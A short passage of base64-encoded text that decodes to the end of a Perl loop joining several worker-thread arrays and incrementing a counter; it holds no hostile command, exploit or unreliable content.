SB7CgkkcmFpY2hvdGhyZWFkc1skYl0tPmpvaW47CgkkaGF0c3VrYXJpdGhyZWFkc1skYl0tPmpvaW47CgkkdG9raXRocmVhZHNbJGJdLT5qb2luOwoJJHFiNXRocmVhZHNbJGJdLT5qb2luOwoJJGthbW9tZXRocmVhZHNbJGJdLT5qb2luOwoJJGhpYmFyaXRocmVhZHNbJGJdLT5qb2luOwoJJGhhdG90aHJlYWRzWyRiXS0+am9pbjsKCSRoYXlhYnVzYXRocmVhZHNbJGJdLT5qb2luOwoJJHl1enVydXRocmVhZHNbJGJdLT5qb2luOwoJKyskYjsKfQo=